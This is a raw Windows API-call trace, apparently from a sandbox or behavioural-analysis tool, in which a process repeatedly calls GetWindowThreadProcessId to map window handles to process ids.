[0248.115] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.115] GetWindowThreadProcessId (in: hWnd=0x20028, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.115] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.115] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.116] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.116] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.116] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.116] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.116] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.117] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.117] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.117] GetWindowThreadProcessId (in: hWnd=0x500a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.117] GetWindowThreadProcessId (in: hWnd=0x10092, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.117] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf8c
[0248.118] GetWindowThreadProcessId (in: hWnd=0x102ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4e4
[0248.118] GetWindowThreadProcessId (in: hWnd=0x1026c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0248.118] GetWindowThreadProcessId (in: hWnd=0x302d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0248.118] GetWindowThreadProcessId (in: hWnd=0x4015e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0248.118] GetWindowThreadProcessId (in: hWnd=0x50116, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0248.119] GetWindowThreadProcessId (in: hWnd=0x6011a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0248.119] GetWindowThreadProcessId (in: hWnd=0x900a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.119] GetWindowThreadProcessId (in: hWnd=0x300c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.119] GetWindowThreadProcessId (in: hWnd=0x400d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.119] GetWindowThreadProcessId (in: hWnd=0x400f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.119] GetWindowThreadProcessId (in: hWnd=0x300de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.120] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.120] GetWindowThreadProcessId (in: hWnd=0x400c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.120] GetWindowThreadProcessId (in: hWnd=0x300ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.120] GetWindowThreadProcessId (in: hWnd=0x10268, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0248.120] GetWindowThreadProcessId (in: hWnd=0x10264, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0248.120] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0248.120] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0248.120] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0248.121] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0248.121] GetWindowThreadProcessId (in: hWnd=0x10250, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0248.121] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0248.121] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0248.121] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0248.121] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0248.122] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0248.122] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0248.122] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0248.122] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0248.122] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0248.122] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0248.122] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0248.123] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0248.123] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0248.123] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0248.123] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0248.123] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0248.123] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0248.124] GetWindowThreadProcessId (in: hWnd=0x10208, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0248.124] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0248.124] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0248.124] GetWindowThreadProcessId (in: hWnd=0x101fc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0248.124] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0248.124] GetWindowThreadProcessId (in: hWnd=0x101f4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101f0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101d8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0248.125] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101c8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101c4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101c0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101bc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0248.126] GetWindowThreadProcessId (in: hWnd=0x101b8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0248.127] GetWindowThreadProcessId (in: hWnd=0x101b4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0248.127] GetWindowThreadProcessId (in: hWnd=0x101b0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0248.127] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0248.127] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0248.127] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0248.127] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0248.127] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0248.127] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
[0248.128] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c4
[0248.128] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x138
[0248.128] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x788
[0248.128] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7c0
[0248.128] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x114
[0248.128] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x1c0
[0248.128] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x23c
[0248.129] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x560
[0248.129] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x564
[0248.129] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7a8
[0248.129] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x434
[0248.129] GetWindowThreadProcessId (in: hWnd=0x30164, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x71c
[0248.129] GetWindowThreadProcessId (in: hWnd=0x30158, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.129] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.130] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0248.130] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.130] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x50c
[0248.130] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x514
[0248.130] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.130] GetWindowThreadProcessId (in: hWnd=0x200d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f0
[0248.130] GetWindowThreadProcessId (in: hWnd=0x200a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x58c
[0248.131] GetWindowThreadProcessId (in: hWnd=0x1010c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x578
[0248.131] GetWindowThreadProcessId (in: hWnd=0x10108, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.131] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x530
[0248.131] GetWindowThreadProcessId (in: hWnd=0x50094, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.131] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x508
[0248.131] GetWindowThreadProcessId (in: hWnd=0x10088, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.131] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4f4
[0248.131] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.132] GetWindowThreadProcessId (in: hWnd=0x1006a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.132] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x794
[0248.132] GetWindowThreadProcessId (in: hWnd=0x10066, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.132] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.132] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.132] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.132] GetWindowThreadProcessId (in: hWnd=0x30044, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x448
[0248.133] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x778
[0248.133] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x458
[0248.133] GetWindowThreadProcessId (in: hWnd=0x3013e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x538
[0248.133] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.133] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x4ac
[0248.133] GetWindowThreadProcessId (in: hWnd=0x102d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xf9c
[0248.133] GetWindowThreadProcessId (in: hWnd=0x102cc, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x808
[0248.134] GetWindowThreadProcessId (in: hWnd=0x1026e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa14
[0248.134] GetWindowThreadProcessId (in: hWnd=0x150270, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xe68
[0248.134] GetWindowThreadProcessId (in: hWnd=0x50114, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x2c4
[0248.134] GetWindowThreadProcessId (in: hWnd=0x4011e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x3d4
[0248.134] GetWindowThreadProcessId (in: hWnd=0x1026a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xa04
[0248.134] GetWindowThreadProcessId (in: hWnd=0x10266, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9f4
[0248.134] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9e4
[0248.134] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9d4
[0248.135] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9c4
[0248.135] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9b4
[0248.135] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x9a4
[0248.135] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x994
[0248.135] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x984
[0248.135] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x974
[0248.136] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x964
[0248.136] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x954
[0248.136] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x944
[0248.136] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x934
[0248.136] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x924
[0248.136] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x914
[0248.136] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x904
[0248.136] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8f4
[0248.137] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8e4
[0248.137] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8d4
[0248.137] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8c4
[0248.137] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8b4
[0248.137] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x8a4
[0248.137] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x894
[0248.137] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x884
[0248.138] GetWindowThreadProcessId (in: hWnd=0x10206, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x874
[0248.138] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x864
[0248.138] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x854
[0248.138] GetWindowThreadProcessId (in: hWnd=0x101fa, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x844
[0248.138] GetWindowThreadProcessId (in: hWnd=0x101f6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x834
[0248.138] GetWindowThreadProcessId (in: hWnd=0x101f2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x824
[0248.138] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x814
[0248.138] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x804
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101e6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5a8
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101e2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x32c
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x51c
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x634
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101d6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5c4
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101d2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x418
[0248.139] GetWindowThreadProcessId (in: hWnd=0x101ce, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x244
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101ca, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x730
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x640
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x670
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101be, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7d0
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101ba, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x754
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101b6, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x694
[0248.140] GetWindowThreadProcessId (in: hWnd=0x101b2, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x704
[0248.141] GetWindowThreadProcessId (in: hWnd=0x101ae, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0xc0
[0248.141] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x5ac
[0248.141] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x7f4
[0248.141] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x774
[0248.141] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x304
[0248.141] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x1e1fd5e0 | out: lpdwProcessId=0x1e1fd5e0) returned 0x544
